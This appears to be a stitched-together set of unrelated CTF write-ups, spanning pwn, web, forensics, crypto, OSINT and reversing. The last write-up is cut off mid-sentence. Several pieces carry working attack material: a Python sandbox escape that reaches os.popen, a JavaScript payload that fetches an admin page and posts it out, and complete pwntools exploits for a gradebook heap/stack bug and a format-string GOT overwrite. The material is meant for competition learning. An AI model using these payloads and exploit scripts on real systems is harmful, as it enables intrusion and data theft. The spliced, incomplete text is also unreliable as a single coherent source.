# NetFS 2 (misc)Writeup by: [xlr8or](https://ctftime.org/team/235001) **Note:** This writeup assumes you are familiar with the solution to the NetFS 1 challenge. This time we get a very similar server script, but it is slightly updated in the authentication function where the password is checked:```pythonwith Timeout(5) as timer: # Receive password self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': timer.wait() self.response(b"Incorrect password.\n") return elif c != password[i:i+1]: timer.wait() self.response(b"Incorrect password.\n") return i += 1 if self._conn.recv(1) != b'\n': timer.wait() self.response(b"Incorrect password.\n") return self.response(b"Logged in.\n")self._auth = Trueself._user = username``` The password is still checked one character at a time, however we are not immediately notified when the character is incorrect, rather the timer waits for a similar amount of time, as timing out would, if the single character we sent was correct. Let's see how the `timer.wait()` function is implemented:```pythondef wait(self): signal.alarm(0) while time.time() - self.start < self.seconds: time.sleep(0.1) time.sleep(random.random())``` Essentially, this will cancel the signal countdown for the alarm signal that was set, when the `Timer` was "entered" in the `with` block.Then wait for the remaining time, and delay for a random amount of time. When the execution goes outside the `with` statement the `__exit__` handler gets called:```pythondef __exit__(self, _type, _value, _traceback): signal.alarm(0) time.sleep(random.random())``` This will again sleep for a random amount of time.However, when the password character is correct, we don't call `timer.wait()`, so we have a situation, where an incorrect character would sleep a random amount of time twice (because calling `timer.wait()`), but a correct character would only sleep the random amount of time once. I spent some time analysing this route, trying to see if I can deduce the correct character from the timings.Unfortunately I couldn't manage to find a way to deduce the correct character from the timing, in fact all methods I have tried were more likely to report an incorrect character as the best potential guess. At this point I started inspecting the traffic in Wireshark, as I was trying to see if we can somehow detect, that when the password character is incorrect, the program waits, then exits, and never calls `socket.recv(1)` again.Although I saw, that all packets are acknowledged, even after sending an incorrect password character, I noticed something interesting. When sending an incorrect password character, the server would send an `RST` packet, and netcat would display `read(net): Connection reset by peer`, while sending the correct password character, would produce no such message in netcat and network traffic would not contain any `RST` packets. This is also true for the remote, with a slight change, when the password character is correct, there's an `RST` packet, however it is sent by the client to the server.More important is that netcat shows the same behavior with regards to the error message on the remote as well.Using this knowledge, we have an oracle for a single password character at a time again, so we can write a script that can recover the `admin` password. `solve.py` is going to recover the `admin` password, which can then be used to read the flag file. The flag hints at using `procfs` as an oracle, so it is possible that there are multiple solutions to this challenge, because indeed, except for the blacklisted words in `PROTECTED` we have arbitrary file read with the `guest` user.
### Writeup If you submit anything random, it says incorrect flag. Just inspect element and search for "n00bz". You will find the flag!### Flag - n00bz{1n5p3ct_3l3m3n7_ftw!}
![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/8c71c4bb-540a-47dd-9634-a5cae54556b2) Some blacklisted items here but its essentially a SSTI sort of. I tried a basic payload. `print(''.__class__.__mro__[1].__subclasses__())` ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/eb00a81f-7428-4cff-8683-3b7c88001e63) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/da577c04-8ffc-4092-8475-3b53734cf0d2) 4th last item is my [favourite](https://blog.p6.is/Python-SSTI-exploitable-classes/#Using-os-wrap-close). `print(''.__class__.__mro__[1].__subclasses__()[-4].__init__.__globals__['sys'].modules['os'].popen('ls').read())` ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/04537d2d-ec8a-4aae-910a-e967aadefb56) `print(''.__class__.__mro__[1].__subclasses__()[-4].__init__.__globals__['sys'].modules['os'].popen('cat flag-cce1c56d-466d-4af9-8ae7-c7bcf99d5c49.txt').read())` ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/0590a762-f28d-4ba3-9789-b6cb9f8219db) Flag: `tjctf{oops_bad_filter_3b582f74}`
# aush (pwn)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get a binary and its source code (in c), that we should exploit.The goal of this challenge is to successfully authenticate, since the binary will open a shell by itself in that case. However we have no knowledge of the username and password that is requested, since they are read from `/dev/urandom`:```cint setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) { int ret, fd; // TODO: change it to password/username file if ((fd = open("/dev/urandom", O_RDONLY)) == -1) return 1; ret = read(fd, passbuf, passlen) != passlen; ret |= read(fd, userbuf, userlen) != userlen; close(fd); return ret;}``` Let's look at what kinds of data we can expect on the stack, as it will be helpful moving on:```c#define LEN_USER 0x10#define LEN_PASS 0x20 char *args[3];char inpuser[LEN_USER+1] = { 0 };char inppass[LEN_PASS+1] = { 0 };char username[LEN_USER] = { 0 };char password[LEN_PASS] = { 0 };``` * `args` is going to be used to as an argument to pass to `execve`* `username` and `password` contain the randomized username and password* `inpuser` and `inppass` will receive the username and password that we input Continuing on, the username is read, let's see how that looks like:```c /* Check username */ write(STDOUT_FILENO, "Username: ", 10); if (read(STDIN_FILENO, inpuser, 0x200) <= 0) return 1; if (memcmp(username, inpuser, LEN_USER) != 0) { args[0] = "/usr/games/cowsay"; args[1] = "Invalid username"; args[2] = NULL; execve(args[0], args, envp); }``` This is a clear case of a buffer overflow, since `inpuser` is only 17 bytes large.At this point one may think that it is enough to write some `A`s, since that will then fill the `username` and the `password` buffers that contain random bytes now.However in order to work around buffer overflows and for optimization purposes, the compiler usually reorders stack variables, and this is also the case here.Analyzing this with either GDB, or loading the binary into Ghidra, we can notice that the actual order of the buffers ends up being:```cchar username[LEN_USER] = { 0 };char inpuser[LEN_USER+1] = { 0 };char password[LEN_PASS] = { 0 };char inppass[LEN_PASS+1] = { 0 };``` Thus the username check will fail, since we can' overwrite the randomly generated `username`.However notice that we read quite a bit more data, than the buffers can hold, `0x200`.Filling out the allowed number of characters allows us to overwrite many things, by passing `0x1ff` we overwrite the maximum amount of bytes. At this point we can inspect what happens to the argument of `execve`, after all if we could overwrite `args[0]`, we could launch a shell already at this point.Unfortunately we can't touch `args`, however if we look at `envp` we do manage to overwrite data, that it points to with `0x414141...`.Since `envp` is an array of pointers to strings, whoever would try to read it would segfault, since it would try to read a string at address `0x414141` when parsing the first environment variable. Now because we pass a corrupted `envp` array, `execve` would fail to execute, meaning the control is transferred back to our binary.However the binary assumes that `execve` will always succeed, in which case it would never return, since out binary would be replaced with `cowsay` in memory.Because of this assumption, we can continue to the password check if we corrupt `envp`, as discussed above. ```c /* Check password */ write(STDOUT_FILENO, "Password: ", 10); // FIXME: Reads more than buffer if (read(STDIN_FILENO, inppass, 0x200) <= 0) return 1; if (memcmp(password, inppass, LEN_PASS) != 0) { args[0] = "/usr/games/cowsay"; args[1] = "Invalid password"; args[2] = NULL; execve(args[0], args, envp); }``` Since `inpuser` lies before `password` we are able to overwrite the randomly generated password with any arbitrary bytes we want.Because of this the password check is bypassed, however `envp` is still in a corrupted state from the previous buffer overflow.This is problematic, because after authenticating `execve` is used with `envp` to spawn our shell:```c /* Grant access */ args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, envp);``` Because of this, we need to undo our changes to `envp`, but we have no idea what was there before we overwrote it.This is not an issue, because the `envp` array is NULL-terminated, i.e it contains a `NULL` element, once there are no more environment strings.Therefore, since we don't care about the environment variables, we can just use the buffer overflow on the `inppass` field, to first write 32 `A`s to match the `password` buffer, then all `0x00` to NULL terminate the `envp` array. This way the password check passes, and `envp` becomes valid again, our shell gets spawned. `solve.py` automates the process of exploiting this challenge.
The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover. ```fetch('/admin').then(r => r.text()).then(d => { let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: data, });})```
# Attaaaaack2 ## Background Q2. How many processes were running ? (number) Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142816.png) ## Find the flag After we discovered the suggested profile, we can use the `--profile` option to specify which profile we wanna use. **Also, volatility2 has a plugin called `pslist`, which prints all running processes by following the EPROCESS lists:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|17:44:27(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86 -f memdump.raw pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0x8419c020 System 4 0 89 536 ------ 0 2023-02-20 19:01:19 UTC+0000 0x962f2020 smss.exe 268 4 2 29 ------ 0 2023-02-20 19:01:19 UTC+0000 0x860a8c78 csrss.exe 352 344 9 462 0 0 2023-02-20 19:01:20 UTC+0000 0x855dfd20 wininit.exe 404 344 3 76 0 0 2023-02-20 19:01:20 UTC+0000 0x8550b030 csrss.exe 416 396 9 268 1 0 2023-02-20 19:01:20 UTC+0000 0x85ea2368 services.exe 480 404 8 220 0 0 2023-02-20 19:01:20 UTC+0000 0x85ea8610 lsass.exe 488 404 6 568 0 0 2023-02-20 19:01:20 UTC+0000 0x85eab718 lsm.exe 496 404 10 151 0 0 2023-02-20 19:01:20 UTC+0000 0x85eacb80 winlogon.exe 508 396 5 115 1 0 2023-02-20 19:01:20 UTC+0000 0x85f4d030 svchost.exe 632 480 10 357 0 0 2023-02-20 19:01:21 UTC+0000 0x85ef0a90 svchost.exe 700 480 8 280 0 0 2023-02-20 19:01:21 UTC+0000 0x919e2958 svchost.exe 752 480 22 507 0 0 2023-02-20 19:01:21 UTC+0000 0x85f9c3a8 svchost.exe 868 480 13 309 0 0 2023-02-20 19:01:21 UTC+0000 0x85fae030 svchost.exe 908 480 18 715 0 0 2023-02-20 19:01:21 UTC+0000 0x85fb7670 svchost.exe 952 480 34 995 0 0 2023-02-20 19:01:22 UTC+0000 0x85ff1380 svchost.exe 1104 480 18 391 0 0 2023-02-20 19:01:22 UTC+0000 0x8603a030 spoolsv.exe 1236 480 13 270 0 0 2023-02-20 19:01:22 UTC+0000 0x86071818 svchost.exe 1280 480 19 312 0 0 2023-02-20 19:01:22 UTC+0000 0x860b73c8 svchost.exe 1420 480 10 146 0 0 2023-02-20 19:01:22 UTC+0000 0x860ba030 taskhost.exe 1428 480 9 205 1 0 2023-02-20 19:01:22 UTC+0000 0x861321c8 dwm.exe 1576 868 5 114 1 0 2023-02-20 19:01:23 UTC+0000 0x8613c030 explorer.exe 1596 1540 29 842 1 0 2023-02-20 19:01:23 UTC+0000 0x841d7500 VGAuthService. 1636 480 3 84 0 0 2023-02-20 19:01:23 UTC+0000 0x86189d20 vmtoolsd.exe 1736 1596 8 179 1 0 2023-02-20 19:01:23 UTC+0000 0x8619dd20 vm3dservice.ex 1848 480 4 60 0 0 2023-02-20 19:01:24 UTC+0000 0x861a9030 vmtoolsd.exe 1884 480 13 290 0 0 2023-02-20 19:01:24 UTC+0000 0x861b5360 vm3dservice.ex 1908 1848 2 44 1 0 2023-02-20 19:01:24 UTC+0000 0x861fc700 svchost.exe 580 480 6 91 0 0 2023-02-20 19:01:25 UTC+0000 0x86261030 WmiPrvSE.exe 1748 632 10 204 0 0 2023-02-20 19:01:25 UTC+0000 0x86251bf0 dllhost.exe 400 480 15 196 0 0 2023-02-20 19:01:26 UTC+0000 0x8629e518 msdtc.exe 2168 480 14 158 0 0 2023-02-20 19:01:31 UTC+0000 0x8629e188 SearchIndexer. 2276 480 12 581 0 0 2023-02-20 19:01:31 UTC+0000 0x8630b228 wmpnetwk.exe 2404 480 9 212 0 0 2023-02-20 19:01:32 UTC+0000 0x862cca38 svchost.exe 2576 480 15 232 0 0 2023-02-20 19:01:33 UTC+0000 0x85351030 WmiPrvSE.exe 3020 632 11 242 0 0 2023-02-20 19:01:45 UTC+0000 0x853faac8 ProcessHacker. 3236 1596 9 416 1 0 2023-02-20 19:02:37 UTC+0000 0x843068f8 sppsvc.exe 2248 480 4 146 0 0 2023-02-20 19:03:25 UTC+0000 0x85f89640 svchost.exe 2476 480 13 369 0 0 2023-02-20 19:03:25 UTC+0000 0x843658d0 cmd.exe 2112 2876 1 20 1 0 2023-02-20 19:03:40 UTC+0000 0x84368798 cmd.exe 2928 2876 1 20 1 0 2023-02-20 19:03:40 UTC+0000 0x84365c90 conhost.exe 1952 416 2 49 1 0 2023-02-20 19:03:40 UTC+0000 0x84384d20 conhost.exe 2924 416 2 49 1 0 2023-02-20 19:03:40 UTC+0000 0x84398998 runddl32.exe 300 2876 10 2314 1 0 2023-02-20 19:03:40 UTC+0000 0x84390030 notepad.exe 2556 300 2 58 1 0 2023-02-20 19:03:41 UTC+0000 0x84df2458 audiodg.exe 1556 752 6 129 0 0 2023-02-20 19:10:50 UTC+0000 0x84f1caf8 DumpIt.exe 2724 1596 2 38 1 0 2023-02-20 19:10:52 UTC+0000 0x84f3d878 conhost.exe 3664 416 2 51 1 0 2023-02-20 19:10:52 UTC+0000``` - The total number of running processes: `47`- **Flag: `47`**
## Solution Steps* Download the donnie.E01 file and acknowledge that it is an EnCase forensics disk image file based on its file extension, which can be opened in the popular digital forensics tool [Autopsy](https://www.autopsy.com/).* After opening the image in Autopsy, there are a few things that you can type in the Keyword Search box to try to find the flag. This includes `jctf`, `flag.txt`, or `cure`, which are all based on the provided description breadcrumbs.* The flag will be revealed in these files: `Q`, `Unalloc_197938_603865088_6428164096`, and `swapfile`.* Flag: `jctf{the_cure_is_in_your_heart_<3}` ## Knowledge and/or Tools Needed* [MITRE ATT&CK® Technique T1005 - Data from Local System](https://attack.mitre.org/techniques/T1005/) * [MITRE ATT&CK® Technique T1485 - Data Destruction](https://attack.mitre.org/techniques/T1485/) * [Autopsy](https://www.autopsy.com/)
# findme ## Background find the Coordinate ( be precise ) example : crew{19.3212,122.1235} flag md5 : cbb510f471de8b8808890599e9893afa (example cmd: `echo -n "crew{19.3212,122.1235}" | md5sum`) Author : st4rn ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142735.png) ## Find the flag **In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/CrewCTF-2023/Misc/findme/chall.png):**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Misc/findme)-[2023.07.08|16:58:47(HKT)]└> file chall.png chall.png: PNG image data, 1920 x 963, 8-bit/color RGB, non-interlaced``` ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708165900.png) As you can see, **it's a road somewhere in Japan**. (As a Hongkonger, I can read traditional and simplify Chinese, as well as some kanji, so right off the bat I knew it's in Japan.) During doing OSINT in finding a place, I always take a note of some characteristics of the picture: 1. Tall building on the top left2. 2 road signs, 1 is brown, 1 is blue3. It has an overpass, stair is on the right side4. It has a shelter map on the left side (避難場所)5. It has a mountain in the middle Armed with the above information, we can start finding the abstract location of the picture. **First, I wanna search where 甲斐 is:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708170910.png) As you can see, there's mountains on the west side: ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708171018.png) Therefore, the picture's location is somewhat near 甲斐. **Then, I started looking for the tall building, and I found this:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708171509.png) Which looks very similar to the picture's one. **Then, I found the blue road sign:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708171632.png) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708171715.png) Nice! We found the correct location! **However, I couldn't find the exact coordinate, so I brute forced it lol:**```python#!/usr/bin/env python3from hashlib import md5 if __name__ == '__main__': targetFlagMd5 = 'cbb510f471de8b8808890599e9893afa' latitude = '35' longitude = '138' try: for latitudeDecimal in range(6600, 10000): for longitudeDecimal in range(5000, 10000): coordinate = f'{latitude}.{latitudeDecimal:04d},{longitude}.{longitudeDecimal:04d}' flag = 'crew{' + coordinate + '}' hashed = md5(flag.encode('utf-8')).hexdigest() print(f'[*] Trying coordinate: {coordinate} ({flag}). Hashed: {hashed}', end='\r') if hashed == targetFlagMd5: print(f'\n[+] Found correct coordinate: {coordinate}. Hashed: {hashed}') exit(0) except KeyboardInterrupt: print('\n[*] Bye!')``` ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Misc/findme)-[2023.07.08|17:36:10(HKT)]└> python3 solve.py[*] Trying coordinate: 35.6682,138.5699 (crew{35.6682,138.5699}). Hashed: cbb510f471de8b8808890599e9893afa[+] Found correct coordinate: 35.6682,138.5699. Hashed: cbb510f471de8b8808890599e9893afa``` - **Flag: `crew{35.6682,138.5699}`** ## Conclusion What we've learned: 1. Finding Location Via OSINT
# Perfectly Disinfected ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/0e59b99d-dfec-4fb3-9ecd-1da1e1bcd74e) This was a very easy one for me as I already had a tool installed that's very good in finding hidden stuff in PDFs. I've used [PDFStreamDumper](https://pdfstreamdumper.software.informer.com/) before in other CTFs and it found the flag for me right away in the first item in the list, in the Title: ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/6ed1fdda-b590-46d7-8e95-0a21320badda) flag{b00acdc78749b378f8f4889f8243789304abe928}
# Solution- There is no check for start- Set start to a fake chunk- Modify limit/end by modifying grade- Leak stack address- Edit return address on stack to backdoor# Exploit```from pwn import *# context.arch='amd64'context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']# p=process('./chal')p = remote("gradebook.2023.ctfcompetition.com",1337)ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b)sa = lambda a,b: p.sendafter(a,b)sl = lambda a: p.sendline(a)s = lambda a: p.send(a)def login(): sla(b":\n",b"pencil".ljust(0x30,b'\0'))def cmd(c): sla(b"QUIT\n\n",str(c).encode())def show(c): cmd(1) sla(b":\n",c)def create(name,c): cmd(2) sla(b":\n",name) sla(b":\n",str(len(c)).encode()) sa(b":\n",c)def grade(filesize=0x200,start=0,cur_end=0x100,FirstName=b"y0un9",LastName=b"n132",num=0): magic = b"G\0\0\0" num = p32(num) return magic+num+LastName.ljust(0x20,b'\0')+FirstName.ljust(0x20,b'\0')+flat([filesize,start,cur_end])def given(): with open("gradebook",'rb') as f: return f.read() def edit(idx=1,grade=b"\xff\xff"): cmd(2) sla(b":\n",str(idx).encode()) sla(b":\n",grade)def course(class_id=b"",title=b"",grade=b"",teacher=b"",room=b"",period=0,): return b""+\ class_id.ljust(8,b'\0')+\ title.ljust(22,b'\0')+\ grade.ljust(2,b'\0')+\ teacher.ljust(12,b'\0')+\ room.ljust(4,b'\0')+\ p64(period)def add(data): cmd(1) sla(b":\n",data[:8]) sla(b":\n",data[8:30]) sla(b':\n',data[30:32]) sla(b':\n',data[32:44]) sla(b':\n',data[44:48]) sla(b':\n',str(u64(data[48:56])).encode()) def atk(pay,debug=False): filesize = 0x800 create(b"/tmp/grades_"+b"2"*0x20,(grade(filesize,start=0x58-0x1e)+course()).ljust(filesize,b'\0')) show(b"/tmp/grades_"+b"2"*0x20) context.log_level=20 edit(1,p16(0x48)) if debug: gdb.attach(p,''' b * 0x5555555562f2 # b *0x555555555BBA # b *0x555555555E4B # b *0x555555555E2D ''') add(pay.ljust(0x38,b'\0'))def leak(): create(b"/tmp/grades_"+b"1"*0x20,given()) show(b"/tmp/grades_"+b"1"*0x20) add(b''.ljust(0x38,b'A')) ru(b' AAAA ') base = u64(ru(b"\n")[:-1]+b'\0\0') info(hex(base)) cmd(5) return baselogin() stack = leak() atk(flat([0xffffffffffffffff,0x100,stack-0x00004752ade50000+0x38]))ru(b"\x94\n")ru(b"\n ")# # add(flat([0x1]*0x7))PIE = u64(ru(b"pencil")[:6]+b'\0\0')-0x2386info(hex(PIE))cmd(5)target = 0x5555555556f3-0x0000555555554000+PIEatk(flat([0xffffffffffffffff,0x100,stack-0x00004752ade50000+0x38-0x1e]),False)context.log_level='debug'edit(2,p64(target)[:2])info(p.readline().decode())input()p.interactive()```
[Original writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/midnight-quals-23/pwn/scaas/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/midnight-quals-23/pwn/scaas/README.md)
# Challenge Name: LEAST COMMON GENOMINATOR? ## Description:> Someone used this program to send me an encrypted message but I can't read it! It uses something called an LCG, do you know what it is? I dumped the first six consecutive values generated from it but what do I do with it?! ## Writeup:The challenge clearly points to the linear congruential generator LCG algorithm### Understanding the LCG:A linear congruential generator (LCG) is an algorithm that yields a sequence of pseudo-randomized numbers calculated with a discontinuous piecewise linear equation. The method represents one of the oldest and best-known pseudorandom number generator algorithms. The theory behind them is relatively easy to understand, and they are easily implemented and fast, especially on computer hardware which can provide modular arithmetic by storage-bit truncation.The generator is defined by the recurrence relation:$$ X_{n+1} = (aX_{n} + c) \ mod \ m $$-Wikipedia-### Solution:To decode the `flag.txt` file we need to find the modulus 'm', the multiplier 'a' and the increment 'c'. So I implement the following algorithm: ```pythonfrom functools import reducefrom math import gcdfrom Crypto.Util.number import isPrime, long_to_bytesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serialization # Read candidate numbers from filewith open('dump.txt', 'r') as f: candidates = f.read().splitlines() # Convert candidates to integersknown = [int(i) for i in candidates] # Extended Euclidean Algorithmdef egcd(a, b): if a == 0: return b, 0, 1 else: g, x, y = egcd(b % a, a) return g, y - (b // a) * x, x # Modular inverse using Extended Euclidean Algorithmdef modinv(b, n): g, x, _ = egcd(b, n) if g == 1: return x % n # Function to crack the modulus 'm'def crack_m(outs): diffs = [s1 - s0 for s0, s1 in zip(outs, outs[1:])] zeros = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] m = abs(reduce(gcd, zeros)) return m # Crack the modulus 'm'm = crack_m(known) # Function to crack the multiplier 'a'def crack_a(outs, m): a = (outs[2] - outs[1]) * modinv(outs[1] - outs[0], m) % m return a # Crack the multiplier 'a'a = crack_a(known, m) # Function to crack the increment 'c'def crack_c(outs, m, a): c = (outs[1] - outs[0] * a) % m return c # Crack the increment 'c'c = crack_c(known, m, a) # Linear Congruential Generator (LCG) classclass LCG: lcg_m = a lcg_c = c lcg_n = m def __init__(self, lcg_s): self.state = lcg_s def next(self): self.state = (self.state * self.lcg_m + self.lcg_c) % self.lcg_n return self.state # Set the seed value for LCGseed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635lcg = LCG(seed)primes_arr = [] primes_n = 1while True: for i in range(8): while True: prime_candidate = lcg.next() # Check if the candidate number is prime if not isPrime(prime_candidate): continue # Check if the candidate number has a bit length of 512 elif prime_candidate.bit_length() != 512: continue else: primes_n *= prime_candidate primes_arr.append(prime_candidate) break # Check if the product of primes exceeds the bit length of 4096 if primes_n.bit_length() > 4096: print("bit length", primes_n.bit_length()) primes_arr.clear() primes_n = 1 continue else: break n = 1for j in primes_arr: n *= j # Calculate Euler's totient function (phi)phi = 1for k in primes_arr: phi *= (k - 1) # Load public key from filewith open("public.pem", "rb") as pub_file: public_key = serialization.load_pem_public_key(pub_file.read(), backend=default_backend()) # Get the public exponent 'e'e = public_key.public_numbers().e # Calculate the private exponent 'd'd = pow(e, -1, phi) # Read the encrypted content from filewith open("flag.txt", "rb") as flag_file: content = flag_file.read() _enc = int.from_bytes(content, "little") # Decrypt the encrypted contentflag_b = pow(_enc, d, n) # Convert the decrypted content to bytesflag = long_to_bytes(flag_b) # Print the flagprint(flag.decode())``` ## The Flag:```CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}```
# logbook (pwn)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get an x86 ELF binary, not stripped.The binary has stack canaries, but no PIE and only partial RELRO. `main` only calls `ignore_me` (which is a function to setup a kill timer) and `logbook`.Let's deconstruct what happens bit by bit. ```c gen_pass(&local_98,0x10); puts((char *)&local_98); puts("| ---------------------------------------- |"); puts("| >>> S.C.U.B.A. Diving logbook <<< |"); puts("| ---------------------------------------- |"); puts("| VERSION 3.0-SKPR |"); puts("| ________________________________________ |\n");``` * Here some sort of password is generated, and then output to stdout (how secure).* Then we see the banner is printed ```c __s = malloc(0xc); memset(__s,0,0xc); memset(local_78,0,100); puts("Dive date:"); __isoc99_scanf("%11s",__s); puts("Dive location:"); __isoc99_scanf("%99s",local_78);```* Some memory is allocated for the dive date, and the date is read into it - 12 bytes are allocated and 11 bytes are read, so no vulnerabilities here* Some memory is allocated for the dive location, and the location is read into it - again 100 bytes allocated and 99 read, no problems ```c puts(" _______________________________________"); puts("| SUMMARY |"); puts("|_______________________________________|"); printf("DATE: %s\n",__s); printf("LOCATION: "); printf(local_78); putchar(10); record_logs(&local_98);``` * A banner is printed with the summary* The date is echoed back to the user* The location is echoed back to the user - however notice this is different from the previous call, how `date` was printed - since the user input here is directly passed to `printf` we have a **format string** vulnerability here Since we have also established that the binary has partial RELRO only, I decided to go for a GOT overwrite here.Another important finding is that there is a built-in function to the binary called `print_flag`. Therefore here is the plan of attack:1. Get to the location input prompt while providing dummy values, they don't matter2. Using the format string vulnerability we provide input such that we overwrite a pointer in the GOT with the `print_flag` function.3. Progress the application to the point where the function associated with the pointer we overwrote is called, and get the flag. First let's pick the pointer that we want to overwrite. My first choice was `putchar`, since it's right after out exploit it executed, and it is not called before, therefore the binary will surely load the address from the GOT. However the address of `putchar` in the GOT is located at address `0x404020`, which is problematic, since we need to send this value through a `scanf` call, but `0x20` is a space, therefore it will stop reading user input. Therefore I looked for another candidate. In `record_logs` we can find a call to `strncmp`, which is also the first call to this function. Checking the address in the GOT, it is at `0x404028`, this contains no bytes that would go through `scanf`, therefore I have decided to go with this function. Most of the format string exploitation was fully automated thanks to [pwntools](http://docs.pwntools.com/en/stable/fmtstr.html), only finding the right offset for a formatter we control was tricky, since per socket we only get to execute one format string vuln, therefore some code was required to restart the connection. However once I had the offset, it was enough to just make a single connection.See the python script below for exploitation details: ```pythonfrom pwn import * rem = Trueconnstr = 'rumble.host 20776'binary_path = './binary'context.clear(arch = 'amd64') elf = ELF(binary_path) p = Noneif not rem: p = process(binary_path)else: parts = connstr.split(' ') if ' ' in connstr else connstr.split(':') ip = parts[0] port = int(parts[1]) p = remote(ip, port) p.sendlineafter(b'date:', b'3') # def send_payload(payload): # p = process(binary_path) # p.sendlineafter(b'date:', b'3') # print('called') # p.sendlineafter(b'location:', payload) # p.recvuntil(b'LOCATION: ') # r = p.recvline()[:-1] # p.kill() # return r # print(FmtStr(execute_fmt=send_payload).offset)# # => 12 payload = fmtstr_payload(12, {elf.got.strncmp: elf.symbols['print_flag']})print(hex(elf.got.putchar))print(hex(elf.symbols['print_flag']))print(len(payload), payload)input('.')p.sendlineafter(b'location:', payload)p.interactive()``` The commented code was used to determine the first argument to `fmtstr_payload`, the offset of the formatter we have control of. The `fmtstr_payload` function will construct a payload which will overwrite the address we have specified (`elf.got.strncmp`) with the address of the `print_flag` function. Using this script we can get the flag from the binary and win the $100 bet :)
Google CTF 2022 presented us with `oldschool`, a typical, as the namesuggests, oldschool crackme with an ncurses terminal interface. Thegoal of the challenge was to write a keygen, which would be able togenerate keys for a list of users provided by the CTF organizers. Theofficial and detailed writeup is available [here](https://github.com/google/google-ctf/tree/master/2023/rev-oldschool/solution), which goes throughthe intended solution of manually reverse engineering the keyverification algorithm. However, since we are researchers (and mostimportantly, too lazy to manually reverse engineer the keyverification), we took a look at the binary and decided that this mustbe solvable using symbolic execution. Tl;dr, yes, it is indeedpossible, but our [angr](https://angr.io/) skills were a bit rustyand it took us a bit to get to the solution. ### Initial Overview of the Binary To start off, we took a look at what we were dealing with and saw thatwe were provided with a 32-bit ELF binary. To avoid having to pull inold 32-bit dependencies on our host system, we used the [i386/debian](https://hub.docker.com/r/i386/debian/)Docker image and installed `libncurses6`, as the binary wouldn't startwithout it. Running it for the first time, we were then presented withthe following error message: ```textroot@699a7aa1afd8:/oldschool# ./oldschool [!] Error. ASSERT_EQ failed!``` This didn't really help us a lot. Was this an error message fromncurses, or was this part of the oldschool binary itself? The stringcannot be found in the binary directly, but we quickly realized thatall relevant strings in the binary have been obfuscated. After everycall to functions from `libncurses`, we could see decoding of errorstrings like this: ```cbVar17 = 0;local_18 = &stack0x00000004;iVar7 = initscr();if (iVar7 == 0) { endwin(); FUN_00012a08(); for (local_98 = 0; local_98 < 0x11; local_98 = local_98 + 1) { FUN_0002bd72(); uVar5 = FUN_0002bd96(); puVar8 = (undefined *)FUN_0002bd72(); *puVar8 = uVar5; } puVar8 = (undefined *)FUN_0002bd72(); *puVar8 = 0; FUN_0002bdc6(); FUN_000129b6(); for (local_9c = 0; local_9c < 0xe; local_9c = local_9c + 1) { FUN_0002bcfc(auStack_2858); uVar5 = FUN_0002bd20(local_2867); puVar8 = (undefined *)FUN_0002bcfc(auStack_2858); *puVar8 = uVar5; } puVar8 = (undefined *)FUN_0002bcfc(auStack_2858); *puVar8 = 0; pcVar9 = (char *)FUN_0002bd50(auStack_2858); fprintf(_stderr,pcVar9); /* WARNING: Subroutine does not return */ exit(-1);}iVar7 = cbreak();if (iVar7 != 0) { /* ... */ fprintf(_stderr,pcVar9); /* WARNING: Subroutine does not return */ exit(-1);}iVar7 = curs_set();/* ... */``` ![A picture of the CFG of the main function](https://w0y.at/images/google-ctf-2023/oldschool-cfg.png) Looking at the decompiled code (and also the CFG of the function)reveals function calls, whose value is checked in an if conditionfollowed by *some* code looping, which we assumed to be the code thatprints the error message. In order to get the program to run, werealized that it needed the correct `TERM` variable to be 